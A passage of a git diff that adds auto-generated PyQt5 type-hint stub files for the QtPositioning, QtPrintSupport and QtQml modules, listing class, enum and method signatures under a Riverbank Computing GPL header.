QGeoSatelliteInfo(PyQt5.sip.wrapper): + + class SatelliteSystem(int): + Undefined = ... # type: QGeoSatelliteInfo.SatelliteSystem + GPS = ... # type: QGeoSatelliteInfo.SatelliteSystem + GLONASS = ... # type: QGeoSatelliteInfo.SatelliteSystem + + class Attribute(int): + Elevation = ... # type: QGeoSatelliteInfo.Attribute + Azimuth = ... # type: QGeoSatelliteInfo.Attribute + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QGeoSatelliteInfo') -> None: ... + + def hasAttribute(self, attribute: 'QGeoSatelliteInfo.Attribute') -> bool: ... + def removeAttribute(self, attribute: 'QGeoSatelliteInfo.Attribute') -> None: ... + def attribute(self, attribute: 'QGeoSatelliteInfo.Attribute') -> float: ... + def setAttribute(self, attribute: 'QGeoSatelliteInfo.Attribute', value: float) -> None: ... + def signalStrength(self) -> int: ... + def setSignalStrength(self, signalStrength: int) -> None: ... + def satelliteIdentifier(self) -> int: ... + def setSatelliteIdentifier(self, satId: int) -> None: ... + def satelliteSystem(self) -> 'QGeoSatelliteInfo.SatelliteSystem': ... + def setSatelliteSystem(self, system: 'QGeoSatelliteInfo.SatelliteSystem') -> None: ... + + +class QGeoSatelliteInfoSource(QtCore.QObject): + + class Error(int): + AccessError = ... # type: QGeoSatelliteInfoSource.Error + ClosedError = ... # type: QGeoSatelliteInfoSource.Error + NoError = ... # type: QGeoSatelliteInfoSource.Error + UnknownSourceError = ... # type: QGeoSatelliteInfoSource.Error + + def __init__(self, parent: QtCore.QObject) -> None: ... + + def requestTimeout(self) -> None: ... + def satellitesInUseUpdated(self, satellites: typing.Iterable[QGeoSatelliteInfo]) -> None: ... + def satellitesInViewUpdated(self, satellites: typing.Iterable[QGeoSatelliteInfo]) -> None: ... + def requestUpdate(self, timeout: int = ...) -> None: ... + def stopUpdates(self) -> None: ... + def startUpdates(self) -> None: ... + @typing.overload + def error(self) -> 'QGeoSatelliteInfoSource.Error': ... + @typing.overload + def error(self, a0: 'QGeoSatelliteInfoSource.Error') -> None: ... + def minimumUpdateInterval(self) -> int: ... + def updateInterval(self) -> int: ... + def setUpdateInterval(self, msec: int) -> None: ... + def sourceName(self) -> str: ... + @staticmethod + def availableSources() -> typing.List[str]: ... + @typing.overload + @staticmethod + def createSource(sourceName: str, parent: QtCore.QObject) -> 'QGeoSatelliteInfoSource': ... + @typing.overload + @staticmethod + def createSource(sourceName: str, parameters: typing.Dict[str, typing.Any], parent: QtCore.QObject) -> 'QGeoSatelliteInfoSource': ... + @typing.overload + @staticmethod + def createDefaultSource(parent: QtCore.QObject) -> 'QGeoSatelliteInfoSource': ... + @typing.overload + @staticmethod + def createDefaultSource(parameters: typing.Dict[str, typing.Any], parent: QtCore.QObject) -> 'QGeoSatelliteInfoSource': ... + + +class QNmeaPositionInfoSource(QGeoPositionInfoSource): + + class UpdateMode(int): + RealTimeMode = ... # type: QNmeaPositionInfoSource.UpdateMode + SimulationMode = ... # type: QNmeaPositionInfoSource.UpdateMode + + def __init__(self, updateMode: 'QNmeaPositionInfoSource.UpdateMode', parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def userEquivalentRangeError(self) -> float: ... + def setUserEquivalentRangeError(self, uere: float) -> None: ... + def parsePosInfoFromNmeaData(self, data: bytes, size: int, posInfo: QGeoPositionInfo) -> typing.Tuple[bool, bool]: ... + def requestUpdate(self, timeout: int = ...) -> None: ... + def stopUpdates(self) -> None: ... + def startUpdates(self) -> None: ... + def error(self) -> QGeoPositionInfoSource.Error: ... + def minimumUpdateInterval(self) -> int: ... + def supportedPositioningMethods(self) -> QGeoPositionInfoSource.PositioningMethods: ... + def lastKnownPosition(self, fromSatellitePositioningMethodsOnly: bool = ...) -> QGeoPositionInfo: ... + def setUpdateInterval(self, msec: int) -> None: ... + def device(self) -> QtCore.QIODevice: ... + def setDevice(self, source: QtCore.QIODevice) -> None: ... + def updateMode(self) -> 'QNmeaPositionInfoSource.UpdateMode': ... diff --git a/OTHERS/Jarvis/ools/PyQt5/QtPrintSupport.pyi b/OTHERS/Jarvis/ools/PyQt5/QtPrintSupport.pyi new file mode 100644 index 00000000..e1b03322 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/QtPrintSupport.pyi @@ -0,0 +1,436 @@ +# The PEP 484 type hints stub file for the QtPrintSupport module. +# +# Generated by SIP 6.4.0 +# +# Copyright (c) 2021 Riverbank Computing Limited +# +# This file is part of PyQt5. +# +# This file may be used under the terms of the GNU General Public License +# version 3.0 as published by the Free Software Foundation and appearing in +# the file LICENSE included in the packaging of this file. Please review the +# following information to ensure the GNU General Public License version 3.0 +# requirements will be met: http://www.gnu.org/copyleft/gpl.html. +# +# If you do not wish to use this file under the terms of the GPL version 3.0 +# then you may purchase a commercial license. For more information contact +# info@riverbankcomputing.com. +# +# This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +# WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +import typing + +import PyQt5.sip + +from PyQt5 import QtWidgets +from PyQt5 import QtGui +from PyQt5 import QtCore + +# Support for QDate, QDateTime and QTime. +import datetime + +# Convenient type aliases. +PYQT_SIGNAL = typing.Union[QtCore.pyqtSignal, QtCore.pyqtBoundSignal] +PYQT_SLOT = typing.Union[typing.Callable[..., None], QtCore.pyqtBoundSignal] + +# Convenient aliases for complicated OpenGL types. +PYQT_OPENGL_ARRAY = typing.Union[typing.Sequence[int], typing.Sequence[float], + PyQt5.sip.Buffer, None] +PYQT_OPENGL_BOUND_ARRAY = typing.Union[typing.Sequence[int], + typing.Sequence[float], PyQt5.sip.Buffer, int, None] + + +class QAbstractPrintDialog(QtWidgets.QDialog): + + class PrintDialogOption(int): + None_ = ... # type: QAbstractPrintDialog.PrintDialogOption + PrintToFile = ... # type: QAbstractPrintDialog.PrintDialogOption + PrintSelection = ... # type: QAbstractPrintDialog.PrintDialogOption + PrintPageRange = ... # type: QAbstractPrintDialog.PrintDialogOption + PrintCollateCopies = ... # type: QAbstractPrintDialog.PrintDialogOption + PrintShowPageSize = ... # type: QAbstractPrintDialog.PrintDialogOption + PrintCurrentPage = ... # type: QAbstractPrintDialog.PrintDialogOption + + class PrintRange(int): + AllPages = ... # type: QAbstractPrintDialog.PrintRange + Selection = ... # type: QAbstractPrintDialog.PrintRange + PageRange = ... # type: QAbstractPrintDialog.PrintRange + CurrentPage = ... # type: QAbstractPrintDialog.PrintRange + + class PrintDialogOptions(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QAbstractPrintDialog.PrintDialogOptions', 'QAbstractPrintDialog.PrintDialogOption']) -> None: ... + @typing.overload + def __init__(self, a0: 'QAbstractPrintDialog.PrintDialogOptions') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QAbstractPrintDialog.PrintDialogOptions': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def __init__(self, printer: 'QPrinter', parent: typing.Optional[QtWidgets.QWidget] = ...) -> None: ... + + def enabledOptions(self) -> 'QAbstractPrintDialog.PrintDialogOptions': ... + def setEnabledOptions(self, options: typing.Union['QAbstractPrintDialog.PrintDialogOptions', 'QAbstractPrintDialog.PrintDialogOption']) -> None: ... + def setOptionTabs(self, tabs: typing.Iterable[QtWidgets.QWidget]) -> None: ... + def printer(self) -> 'QPrinter': ... + def toPage(self) -> int: ... + def fromPage(self) -> int: ... + def setFromTo(self, fromPage: int, toPage: int) -> None: ... + def maxPage(self) -> int: ... + def minPage(self) -> int: ... + def setMinMax(self, min: int, max: int) -> None: ... + def printRange(self) -> 'QAbstractPrintDialog.PrintRange': ... + def setPrintRange(self, range: 'QAbstractPrintDialog.PrintRange') -> None: ... + def exec(self) -> int: ... + def exec_(self) -> int: ... + + +class QPageSetupDialog(QtWidgets.QDialog): + + @typing.overload + def __init__(self, printer: 'QPrinter', parent: typing.Optional[QtWidgets.QWidget] = ...) -> None: ... + @typing.overload + def __init__(self, parent: typing.Optional[QtWidgets.QWidget] = ...) -> None: ... + + def printer(self) -> 'QPrinter': ... + def done(self, result: int) -> None: ... + @typing.overload + def open(self) -> None: ... + @typing.overload + def open(self, slot: PYQT_SLOT) -> None: ... + def exec(self) -> int: ... + def exec_(self) -> int: ... + def setVisible(self, visible: bool) -> None: ... + + +class QPrintDialog(QAbstractPrintDialog): + + @typing.overload + def __init__(self, printer: 'QPrinter', parent: typing.Optional[QtWidgets.QWidget] = ...) -> None: ... + @typing.overload + def __init__(self, parent: typing.Optional[QtWidgets.QWidget] = ...) -> None: ... + + @typing.overload + def accepted(self) -> None: ... + @typing.overload + def accepted(self, printer: 'QPrinter') -> None: ... + @typing.overload + def open(self) -> None: ... + @typing.overload + def open(self, slot: PYQT_SLOT) -> None: ... + def setVisible(self, visible: bool) -> None: ... + def options(self) -> QAbstractPrintDialog.PrintDialogOptions: ... + def setOptions(self, options: typing.Union[QAbstractPrintDialog.PrintDialogOptions, QAbstractPrintDialog.PrintDialogOption]) -> None: ... + def testOption(self, option: QAbstractPrintDialog.PrintDialogOption) -> bool: ... + def setOption(self, option: QAbstractPrintDialog.PrintDialogOption, on: bool = ...) -> None: ... + def done(self, result: int) -> None: ... + def exec(self) -> int: ... + def exec_(self) -> int: ... + + +class QPrintEngine(sip.simplewrapper): + + class PrintEnginePropertyKey(int): + PPK_CollateCopies = ... # type: QPrintEngine.PrintEnginePropertyKey + PPK_ColorMode = ... # type: QPrintEngine.PrintEnginePropertyKey + PPK_Creator = ... # type: QPrintEngine.PrintEnginePropertyKey + PPK_DocumentName = ... # type: QPrintEngine.PrintEnginePropertyKey + PPK_FullPage = ... # type: QPrintEngine.PrintEnginePropertyKey + PPK_NumberOfCopies = ... # type: QPrintEngine.PrintEnginePropertyKey + PPK_Orientation = ... # type: QPrintEngine.PrintEnginePropertyKey + PPK_OutputFileName = ... # type: QPrintEngine.PrintEnginePropertyKey + PPK_PageOrder = ... # type: QPrintEngine.PrintEnginePropertyKey + PPK_PageRect = ... # type: QPrintEngine.PrintEnginePropertyKey + PPK_PageSize = ... # type: QPrintEngine.PrintEnginePropertyKey + PPK_PaperRect = ... # type: QPrintEngine.PrintEnginePropertyKey + PPK_PaperSource = ... # type: QPrintEngine.PrintEnginePropertyKey + PPK_PrinterName = ... # type: QPrintEngine.PrintEnginePropertyKey + PPK_PrinterProgram = ... # type: QPrintEngine.PrintEnginePropertyKey + PPK_Resolution = ... # type: QPrintEngine.PrintEnginePropertyKey + PPK_SelectionOption = ... # type: QPrintEngine.PrintEnginePropertyKey + PPK_SupportedResolutions = ... # type: QPrintEngine.PrintEnginePropertyKey + PPK_WindowsPageSize = ... # type: QPrintEngine.PrintEnginePropertyKey + PPK_FontEmbedding = ... # type: QPrintEngine.PrintEnginePropertyKey + PPK_Duplex = ... # type: QPrintEngine.PrintEnginePropertyKey + PPK_PaperSources = ... # type: QPrintEngine.PrintEnginePropertyKey + PPK_CustomPaperSize = ... # type: QPrintEngine.PrintEnginePropertyKey + PPK_PageMargins = ... # type: QPrintEngine.PrintEnginePropertyKey + PPK_PaperSize = ... # type: QPrintEngine.PrintEnginePropertyKey + PPK_CopyCount = ... # type: QPrintEngine.PrintEnginePropertyKey + PPK_SupportsMultipleCopies = ... # type: QPrintEngine.PrintEnginePropertyKey + PPK_PaperName = ... # type: QPrintEngine.PrintEnginePropertyKey + PPK_QPageSize = ... # type: QPrintEngine.PrintEnginePropertyKey + PPK_QPageMargins = ... # type: QPrintEngine.PrintEnginePropertyKey + PPK_QPageLayout = ... # type: QPrintEngine.PrintEnginePropertyKey + PPK_CustomBase = ... # type: QPrintEngine.PrintEnginePropertyKey + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QPrintEngine') -> None: ... + + def printerState(self) -> 'QPrinter.PrinterState': ... + def metric(self, a0: QtGui.QPaintDevice.PaintDeviceMetric) -> int: ... + def abort(self) -> bool: ... + def newPage(self) -> bool: ... + def property(self, key: 'QPrintEngine.PrintEnginePropertyKey') -> typing.Any: ... + def setProperty(self, key: 'QPrintEngine.PrintEnginePropertyKey', value: typing.Any) -> None: ... + + +class QPrinter(QtGui.QPagedPaintDevice): + + class DuplexMode(int): + DuplexNone = ... # type: QPrinter.DuplexMode + DuplexAuto = ... # type: QPrinter.DuplexMode + DuplexLongSide = ... # type: QPrinter.DuplexMode + DuplexShortSide = ... # type: QPrinter.DuplexMode + + class Unit(int): + Millimeter = ... # type: QPrinter.Unit + Point = ... # type: QPrinter.Unit + Inch = ... # type: QPrinter.Unit + Pica = ... # type: QPrinter.Unit + Didot = ... # type: QPrinter.Unit + Cicero = ... # type: QPrinter.Unit + DevicePixel = ... # type: QPrinter.Unit + + class PrintRange(int): + AllPages = ... # type: QPrinter.PrintRange + Selection = ... # type: QPrinter.PrintRange + PageRange = ... # type: QPrinter.PrintRange + CurrentPage = ... # type: QPrinter.PrintRange + + class OutputFormat(int): + NativeFormat = ... # type: QPrinter.OutputFormat + PdfFormat = ... # type: QPrinter.OutputFormat + + class PrinterState(int): + Idle = ... # type: QPrinter.PrinterState + Active = ... # type: QPrinter.PrinterState + Aborted = ... # type: QPrinter.PrinterState + Error = ... # type: QPrinter.PrinterState + + class PaperSource(int): + OnlyOne = ... # type: QPrinter.PaperSource + Lower = ... # type: QPrinter.PaperSource + Middle = ... # type: QPrinter.PaperSource + Manual = ... # type: QPrinter.PaperSource + Envelope = ... # type: QPrinter.PaperSource + EnvelopeManual = ... # type: QPrinter.PaperSource + Auto = ... # type: QPrinter.PaperSource + Tractor = ... # type: QPrinter.PaperSource + SmallFormat = ... # type: QPrinter.PaperSource + LargeFormat = ... # type: QPrinter.PaperSource + LargeCapacity = ... # type: QPrinter.PaperSource + Cassette = ... # type: QPrinter.PaperSource + FormSource = ... # type: QPrinter.PaperSource + MaxPageSource = ... # type: QPrinter.PaperSource + Upper = ... # type: QPrinter.PaperSource + CustomSource = ... # type: QPrinter.PaperSource + LastPaperSource = ... # type: QPrinter.PaperSource + + class ColorMode(int): + GrayScale = ... # type: QPrinter.ColorMode + Color = ... # type: QPrinter.ColorMode + + class PageOrder(int): + FirstPageFirst = ... # type: QPrinter.PageOrder + LastPageFirst = ... # type: QPrinter.PageOrder + + class Orientation(int): + Portrait = ... # type: QPrinter.Orientation + Landscape = ... # type: QPrinter.Orientation + + class PrinterMode(int): + ScreenResolution = ... # type: QPrinter.PrinterMode + PrinterResolution = ... # type: QPrinter.PrinterMode + HighResolution = ... # type: QPrinter.PrinterMode + + @typing.overload + def __init__(self, mode: 'QPrinter.PrinterMode' = ...) -> None: ... + @typing.overload + def __init__(self, printer: 'QPrinterInfo', mode: 'QPrinter.PrinterMode' = ...) -> None: ... + + def pdfVersion(self) -> QtGui.QPagedPaintDevice.PdfVersion: ... + def setPdfVersion(self, version: QtGui.QPagedPaintDevice.PdfVersion) -> None: ... + def paperName(self) -> str: ... + def setPaperName(self, paperName: str) -> None: ... + def setEngines(self, printEngine: QPrintEngine, paintEngine: QtGui.QPaintEngine) -> None: ... + def metric(self, a0: QtGui.QPaintDevice.PaintDeviceMetric) -> int: ... + def getPageMargins(self, unit: 'QPrinter.Unit') -> typing.Tuple[float, float, float, float]: ... + def setPageMargins(self, left: float, top: float, right: float, bottom: float, unit: 'QPrinter.Unit') -> None: ... + def setMargins(self, m: QtGui.QPagedPaintDevice.Margins) -> None: ... + def printRange(self) -> 'QPrinter.PrintRange': ... + def setPrintRange(self, range: 'QPrinter.PrintRange') -> None: ... + def toPage(self) -> int: ... + def fromPage(self) -> int: ... + def setFromTo(self, fromPage: int, toPage: int) -> None: ... + def printEngine(self) -> QPrintEngine: ... + def paintEngine(self) -> QtGui.QPaintEngine: ... + def printerState(self) -> 'QPrinter.PrinterState': ... + def abort(self) -> bool: ... + def newPage(self) -> bool: ... + @typing.overload + def pageRect(self) -> QtCore.QRect: ... + @typing.overload + def pageRect(self, a0: 'QPrinter.Unit') -> QtCore.QRectF: ... + @typing.overload + def paperRect(self) -> QtCore.QRect: ... + @typing.overload + def paperRect(self, a0: 'QPrinter.Unit') -> QtCore.QRectF: ... + def doubleSidedPrinting(self) -> bool: ... + def setDoubleSidedPrinting(self, enable: bool) -> None: ... + def fontEmbeddingEnabled(self) -> bool: ... + def setFontEmbeddingEnabled(self, enable: bool) -> None: ... + def supportedResolutions(self) -> typing.List[int]: ... + def duplex(self) -> 'QPrinter.DuplexMode': ... + def setDuplex(self, duplex: 'QPrinter.DuplexMode') -> None: ... + def paperSource(self) -> 'QPrinter.PaperSource': ... + def setPaperSource(self, a0: 'QPrinter.PaperSource') -> None: ... + def supportsMultipleCopies(self) -> bool: ... + def copyCount(self) -> int: ... + def setCopyCount(self, a0: int) -> None: ... + def fullPage(self) -> bool: ... + def setFullPage(self, a0: bool) -> None: ... + def collateCopies(self) -> bool: ... + def setCollateCopies(self, collate: bool) -> None: ... + def colorMode(self) -> 'QPrinter.ColorMode': ... + def setColorMode(self, a0: 'QPrinter.ColorMode') -> None: ... + def resolution(self) -> int: ... + def setResolution(self, a0: int) -> None: ... + def pageOrder(self) -> 'QPrinter.PageOrder': ... + def setPageOrder(self, a0: 'QPrinter.PageOrder') -> None: ... + @typing.overload + def paperSize(self) -> QtGui.QPagedPaintDevice.PageSize: ... + @typing.overload + def paperSize(self, unit: 'QPrinter.Unit') -> QtCore.QSizeF: ... + @typing.overload + def setPaperSize(self, a0: QtGui.QPagedPaintDevice.PageSize) -> None: ... + @typing.overload + def setPaperSize(self, paperSize: QtCore.QSizeF, unit: 'QPrinter.Unit') -> None: ... + def setPageSizeMM(self, size: QtCore.QSizeF) -> None: ... + def orientation(self) -> 'QPrinter.Orientation': ... + def setOrientation(self, a0: 'QPrinter.Orientation') -> None: ... + def creator(self) -> str: ... + def setCreator(self, a0: str) -> None: ... + def docName(self) -> str: ... + def setDocName(self, a0: str) -> None: ... + def printProgram(self) -> str: ... + def setPrintProgram(self, a0: str) -> None: ... + def outputFileName(self) -> str: ... + def setOutputFileName(self, a0: str) -> None: ... + def isValid(self) -> bool: ... + def printerName(self) -> str: ... + def setPrinterName(self, a0: str) -> None: ... + def outputFormat(self) -> 'QPrinter.OutputFormat': ... + def setOutputFormat(self, format: 'QPrinter.OutputFormat') -> None: ... + + +class QPrinterInfo(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, src: 'QPrinterInfo') -> None: ... + @typing.overload + def __init__(self, printer: QPrinter) -> None: ... + + def supportedColorModes(self) -> typing.List[QPrinter.ColorMode]: ... + def defaultColorMode(self) -> QPrinter.ColorMode: ... + def supportedDuplexModes(self) -> typing.List[QPrinter.DuplexMode]: ... + def defaultDuplexMode(self) -> QPrinter.DuplexMode: ... + @staticmethod + def defaultPrinterName() -> str: ... + @staticmethod + def availablePrinterNames() -> typing.List[str]: ... + def supportedResolutions(self) -> typing.List[int]: ... + def maximumPhysicalPageSize(self) -> QtGui.QPageSize: ... + def minimumPhysicalPageSize(self) -> QtGui.QPageSize: ... + def supportsCustomPageSizes(self) -> bool: ... + def defaultPageSize(self) -> QtGui.QPageSize: ... + def supportedPageSizes(self) -> typing.List[QtGui.QPageSize]: ... + def state(self) -> QPrinter.PrinterState: ... + def isRemote(self) -> bool: ... + @staticmethod + def printerInfo(printerName: str) -> 'QPrinterInfo': ... + def makeAndModel(self) -> str: ... + def location(self) -> str: ... + def description(self) -> str: ... + @staticmethod + def defaultPrinter() -> 'QPrinterInfo': ... + @staticmethod + def availablePrinters() -> typing.List['QPrinterInfo']: ... + def supportedSizesWithNames(self) -> typing.List[typing.Tuple[str, QtCore.QSizeF]]: ... + def supportedPaperSizes(self) -> typing.List[QtGui.QPagedPaintDevice.PageSize]: ... + def isDefault(self) -> bool: ... + def isNull(self) -> bool: ... + def printerName(self) -> str: ... + + +class QPrintPreviewDialog(QtWidgets.QDialog): + + @typing.overload + def __init__(self, parent: typing.Optional[QtWidgets.QWidget] = ..., flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] = ...) -> None: ... + @typing.overload + def __init__(self, printer: QPrinter, parent: typing.Optional[QtWidgets.QWidget] = ..., flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] = ...) -> None: ... + + def paintRequested(self, printer: QPrinter) -> None: ... + def done(self, result: int) -> None: ... + def printer(self) -> QPrinter: ... + @typing.overload + def open(self) -> None: ... + @typing.overload + def open(self, slot: PYQT_SLOT) -> None: ... + def setVisible(self, visible: bool) -> None: ... + + +class QPrintPreviewWidget(QtWidgets.QWidget): + + class ZoomMode(int): + CustomZoom = ... # type: QPrintPreviewWidget.ZoomMode + FitToWidth = ... # type: QPrintPreviewWidget.ZoomMode + FitInView = ... # type: QPrintPreviewWidget.ZoomMode + + class ViewMode(int): + SinglePageView = ... # type: QPrintPreviewWidget.ViewMode + FacingPagesView = ... # type: QPrintPreviewWidget.ViewMode + AllPagesView = ... # type: QPrintPreviewWidget.ViewMode + + @typing.overload + def __init__(self, printer: QPrinter, parent: typing.Optional[QtWidgets.QWidget] = ..., flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] = ...) -> None: ... + @typing.overload + def __init__(self, parent: typing.Optional[QtWidgets.QWidget] = ..., flags: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] = ...) -> None: ... + + def pageCount(self) -> int: ... + def previewChanged(self) -> None: ... + def paintRequested(self, printer: QPrinter) -> None: ... + def updatePreview(self) -> None: ... + def setAllPagesViewMode(self) -> None: ... + def setFacingPagesViewMode(self) -> None: ... + def setSinglePageViewMode(self) -> None: ... + def setPortraitOrientation(self) -> None: ... + def setLandscapeOrientation(self) -> None: ... + def fitInView(self) -> None: ... + def fitToWidth(self) -> None: ... + def setCurrentPage(self, pageNumber: int) -> None: ... + def setZoomMode(self, zoomMode: 'QPrintPreviewWidget.ZoomMode') -> None: ... + def setViewMode(self, viewMode: 'QPrintPreviewWidget.ViewMode') -> None: ... + def setOrientation(self, orientation: QPrinter.Orientation) -> None: ... + def setZoomFactor(self, zoomFactor: float) -> None: ... + def zoomOut(self, factor: float = ...) -> None: ... + def zoomIn(self, factor: float = ...) -> None: ... + def print(self) -> None: ... + def print_(self) -> None: ... + def setVisible(self, visible: bool) -> None: ... + def currentPage(self) -> int: ... + def zoomMode(self) -> 'QPrintPreviewWidget.ZoomMode': ... + def viewMode(self) -> 'QPrintPreviewWidget.ViewMode': ... + def orientation(self) -> QPrinter.Orientation: ... + def zoomFactor(self) -> float: ... diff --git a/OTHERS/Jarvis/ools/PyQt5/QtQml.pyi b/OTHERS/Jarvis/ools/PyQt5/QtQml.pyi new file mode 100644 index 00000000..cfa7a2cc --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/QtQml.pyi @@ -0,0 +1,669 @@ +# The PEP 484 type hints stub file for the QtQml module. +# +# Generated by SIP 6.4.0 +# +# Copyright (c) 2021 Riverbank Computing Limited +# +# This file is part of PyQt5. +# +# This file may be used under the terms of the GNU General Public License +# version 3.0 as published by the Free Software Foundation and appearing in +# the file LICENSE included in the packaging of this file. Please review the +# following information to ensure the GNU General Public License version 3.0 +# requirements will be met: http://www.gnu.org/copyleft/gpl.html. +# +# If you do not wish to use this file under the terms of the GPL version 3.0 +# then you may purchase a commercial license. For more information contact +# info@riverbankcomputing.com. +# +# This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +# WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +import typing + +import PyQt5.sip + +from PyQt5 import QtNetwork +from PyQt5 import QtCore + +# Support for QDate, QDateTime and QTime. +import datetime + +# Convenient type aliases. +PYQT_SIGNAL = typing.Union[QtCore.pyqtSignal, QtCore.pyqtBoundSignal] +PYQT_SLOT = typing.Union[typing.Callable[..., None], QtCore.pyqtBoundSignal] + + +class QJSEngine(QtCore.QObject): + + class Extension(int): + TranslationExtension = ... # type: QJSEngine.Extension + ConsoleExtension = ... # type: QJSEngine.Extension + GarbageCollectionExtension = ... # type: QJSEngine.Extension + AllExtensions = ... # type: QJSEngine.Extension + + class Extensions(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QJSEngine.Extensions', 'QJSEngine.Extension']) -> None: ... + @typing.overload + def __init__(self, a0: 'QJSEngine.Extensions') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QJSEngine.Extensions': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, parent: QtCore.QObject) -> None: ... + + def uiLanguageChanged(self) -> None: ... + def setUiLanguage(self, language: str) -> None: ... + def uiLanguage(self) -> str: ... + def isInterrupted(self) -> bool: ... + def setInterrupted(self, interrupted: bool) -> None: ... + @typing.overload + def throwError(self, message: str) -> None: ... + @typing.overload + def throwError(self, errorType: 'QJSValue.ErrorType', message: str = ...) -> None: ... + def newErrorObject(self, errorType: 'QJSValue.ErrorType', message: str = ...) -> 'QJSValue': ... + def importModule(self, fileName: str) -> 'QJSValue': ... + def newQMetaObject(self, metaObject: QtCore.QMetaObject) -> 'QJSValue': ... + def installExtensions(self, extensions: typing.Union['QJSEngine.Extensions', 'QJSEngine.Extension'], object: typing.Union['QJSValue', 'QJSValue.SpecialValue', bool, int, float, str] = ...) -> None: ... + def installTranslatorFunctions(self, object: typing.Union['QJSValue', 'QJSValue.SpecialValue', bool, int, float, str] = ...) -> None: ... + def collectGarbage(self) -> None: ... + def newQObject(self, object: QtCore.QObject) -> 'QJSValue': ... + def newArray(self, length: int = ...) -> 'QJSValue': ... + def newObject(self) -> 'QJSValue': ... + def evaluate(self, program: str, fileName: str = ..., lineNumber: int = ...) -> 'QJSValue': ... + def globalObject(self) -> 'QJSValue': ... + + +class QJSValue(sip.simplewrapper): + + class ErrorType(int): + GenericError = ... # type: QJSValue.ErrorType + EvalError = ... # type: QJSValue.ErrorType + RangeError = ... # type: QJSValue.ErrorType + ReferenceError = ... # type: QJSValue.ErrorType + SyntaxError = ... # type: QJSValue.ErrorType + TypeError = ... # type: QJSValue.ErrorType + URIError = ... # type: QJSValue.ErrorType + + class SpecialValue(int): + NullValue = ... # type: QJSValue.SpecialValue + UndefinedValue = ... # type: QJSValue.SpecialValue + + @typing.overload + def __init__(self, value: 'QJSValue.SpecialValue' = ...) -> None: ... + @typing.overload + def __init__(self, other: typing.Union['QJSValue', 'QJSValue.SpecialValue', bool, int, float, str]) -> None: ... + + def errorType(self) -> 'QJSValue.ErrorType': ... + def callAsConstructor(self, args: typing.Iterable[typing.Union['QJSValue', 'QJSValue.SpecialValue', bool, int, float, str]] = ...) -> 'QJSValue': ... + def callWithInstance(self, instance: typing.Union['QJSValue', 'QJSValue.SpecialValue', bool, int, float, str], args: typing.Iterable[typing.Union['QJSValue', 'QJSValue.SpecialValue', bool, int, float, str]] = ...) -> 'QJSValue': ... + def call(self, args: typing.Iterable[typing.Union['QJSValue', 'QJSValue.SpecialValue', bool, int, float, str]] = ...) -> 'QJSValue': ... + def isCallable(self) -> bool: ... + def deleteProperty(self, name: str) -> bool: ... + def hasOwnProperty(self, name: str) -> bool: ... + def hasProperty(self, name: str) -> bool: ... + @typing.overload + def setProperty(self, name: str, value: typing.Union['QJSValue', 'QJSValue.SpecialValue', bool, int, float, str]) -> None: ... + @typing.overload + def setProperty(self, arrayIndex: int, value: typing.Union['QJSValue', 'QJSValue.SpecialValue', bool, int, float, str]) -> None: ... + @typing.overload + def property(self, name: str) -> 'QJSValue': ... + @typing.overload + def property(self, arrayIndex: int) -> 'QJSValue': ... + def setPrototype(self, prototype: typing.Union['QJSValue', 'QJSValue.SpecialValue', bool, int, float, str]) -> None: ... + def prototype(self) -> 'QJSValue': ... + def strictlyEquals(self, other: typing.Union['QJSValue', 'QJSValue.SpecialValue', bool, int, float, str]) -> bool: ... + def equals(self, other: typing.Union['QJSValue', 'QJSValue.SpecialValue', bool, int, float, str]) -> bool: ... + def toDateTime(self) -> QtCore.QDateTime: ... + def toQObject(self) -> QtCore.QObject: ... + def toVariant(self) -> typing.Any: ... + def toBool(self) -> bool: ... + def toUInt(self) -> int: ... + def toInt(self) -> int: ... + def toNumber(self) -> float: ... + def toString(self) -> str: ... + def isError(self) -> bool: ... + def isArray(self) -> bool: ... + def isRegExp(self) -> bool: ... + def isDate(self) -> bool: ... + def isObject(self) -> bool: ... + def isQObject(self) -> bool: ... + def isVariant(self) -> bool: ... + def isUndefined(self) -> bool: ... + def isString(self) -> bool: ... + def isNull(self) -> bool: ... + def isNumber(self) -> bool: ... + def isBool(self) -> bool: ... + + +class QJSValueIterator(sip.simplewrapper): + + def __init__(self, value: typing.Union[QJSValue, QJSValue.SpecialValue, bool, int, float, str]) -> None: ... + + def value(self) -> QJSValue: ... + def name(self) -> str: ... + def next(self) -> bool: ... + def hasNext(self) -> bool: ... + + +class QQmlAbstractUrlInterceptor(sip.simplewrapper): + + class DataType(int): + QmlFile = ... # type: QQmlAbstractUrlInterceptor.DataType + JavaScriptFile = ... # type: QQmlAbstractUrlInterceptor.DataType + QmldirFile = ... # type: QQmlAbstractUrlInterceptor.DataType + UrlString = ... # type: QQmlAbstractUrlInterceptor.DataType + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QQmlAbstractUrlInterceptor') -> None: ... + + def intercept(self, path: QtCore.QUrl, type: 'QQmlAbstractUrlInterceptor.DataType') -> QtCore.QUrl: ... + + +class QQmlEngine(QJSEngine): + + class ObjectOwnership(int): + CppOwnership = ... # 